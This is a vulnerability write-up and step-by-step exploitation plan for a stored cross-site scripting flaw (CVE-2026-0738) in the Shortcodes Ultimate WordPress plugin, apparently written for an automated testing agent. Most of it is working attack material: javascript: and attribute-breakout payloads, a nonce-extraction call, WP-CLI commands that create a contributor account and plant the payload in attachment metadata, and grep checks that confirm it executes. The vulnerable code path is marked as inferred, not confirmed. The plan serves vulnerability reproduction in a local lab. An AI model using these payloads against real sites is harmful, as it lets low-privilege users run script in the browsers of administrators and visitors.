Vulnerability Analysis: CVE-2026-0738 - Stored XSS in Shortcodes Ultimate

1. Vulnerability Summary

The Shortcodes Ultimate plugin (<= 7.4.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the su_slide_link attachment metadata when rendering the su_carousel shortcode. A user with Contributor (or higher) privileges can upload an image, set a malicious JavaScript payload in the "Slide Link" field, and then embed that image in a post using the [su_carousel] shortcode. When any user (including administrators) views the post, the payload executes.

2. Attack Vector Analysis

• Endpoint: Frontend pages/posts where the [su_carousel] shortcode is rendered.
• Vulnerable Attribute: The su_slide_link post meta (metadata) associated with an attachment.
• Shortcode Trigger: [su_carousel source="media: <ID>" link="custom"].
• Authentication: Requires Contributor level access or higher (permission to create posts and upload/edit media).
• Payload Location: The href attribute of the anchor tag wrapping the carousel slides.

3. Code Flow (Inferred)

1. Entry Point: A user views a post containing [su_carousel].
2. Shortcode Processing: The shortcode handler (likely Shortcodes_Ultimate_Shortcode_Carousel or similar) parses the source attribute to identify attachment IDs.
3. Meta Retrieval: For each attachment, the plugin calls get_post_meta($attachment_id, 'su_slide_link', true).
4. Vulnerable Sink: The retrieved $link is echoed directly into the href attribute of an <a> tag:

   // Predicted vulnerable code in includes/shortcodes/carousel.php or similar:
   echo '<a href="' . $link . '">'; // Missing esc_url() or esc_attr()
   

5. Execution: The browser interprets javascript:alert(1) or a breakout payload like " onclick="alert(1) as executable code.

4. Nonce Acquisition Strategy

While this is a stored XSS, a Contributor must update the attachment meta to store the payload. This is typically done via the WordPress Media Library.

1. Navigate to Media Library: Use browser_navigate to go to /wp-admin/upload.php.
2. Identify Nonce: WordPress uses a nonce for the save-attachment AJAX action. This nonce is usually localized in the wp.media.view.settings object.
3. Extraction:

   // Use browser_eval to get the nonce for saving attachment metadata
   browser_eval("wp.media.model.settings.post.nonce")
   

4. Setting Meta: Once the nonce is acquired, the payload can be stored via an AJAX request to admin-ajax.php.

5. Exploitation Strategy

Step 1: Upload and Malign an Attachment

1. Login as a Contributor.
2. Upload an image using wp media import or via the dashboard. Note the Attachment ID.
3. Inject Payload into the attachment metadata. The plugin uses the custom field su_slide_link.
   • Payload: javascript:alert(document.domain)//
   • Action: save-attachment (standard WP AJAX) or if the plugin provides a specific handler.

Step 2: Create a Trigger Post

1. Create a post containing the su_carousel shortcode targeting the malicious attachment.
   • Shortcode: [su_carousel source="media: <ATTACHMENT_ID>" link="custom"]
   • Note: The link="custom" attribute is critical as it tells the plugin to use the su_slide_link meta.

Step 3: Trigger and Verify

1. Navigate to the newly created post as an unauthenticated user or Admin.
2. Observe Execution: The carousel will render. Clicking a slide (or simply the presence of the href in the DOM) confirms the XSS.

6. Test Data Setup

1. User: contributor_user with password password.
2. Media: An image file (e.g., test.jpg) uploaded by the contributor.
3. Shortcode Page: A published post with [su_carousel source="media: <ID>" link="custom"].

# Example Setup via WP-CLI
wp user create attacker attacker@example.com --role=contributor --user_pass=password
wp media import /path/to/image.png --user=attacker --title="XSS Slide"
# Note the ID from output (e.g., 42)
wp post meta update 42 su_slide_link "javascript:alert('XSS')"
wp post create --post_type=post --post_status=publish --post_title="Carousel Gallery" --post_content='[su_carousel source="media: 42" link="custom"]' --post_author=$(wp user get attacker --field=ID)

7. Expected Results

• The HTTP response for the post page will contain the string:
  <a href="javascript:alert('XSS')".
• The payload is not escaped by esc_url() or esc_attr().

8. Verification Steps

1. CLI Check:

   wp post meta get <ATTACHMENT_ID> su_slide_link
   

   Confirm the raw payload is stored in the database.
2. HTTP Check:
   Use http_request to fetch the post content and grep for the payload:

   # Verify the payload exists in the rendered HTML
   http_request GET "http://localhost:8080/?p=<POST_ID>" | grep "javascript:alert"
   

9. Alternative Approaches

• Attribute Breakout: If the plugin uses esc_url() but forgets esc_attr(), try:
  # " onmouseover="alert(1)
• Direct AJAX injection: If the save-attachment fails, look for a Shortcodes Ultimate specific AJAX handler for "Shortcode Generator" settings that might allow saving meta.
• Other Metadata: Check if su_slide_title or su_slide_description are also used in the carousel and similarly unescaped.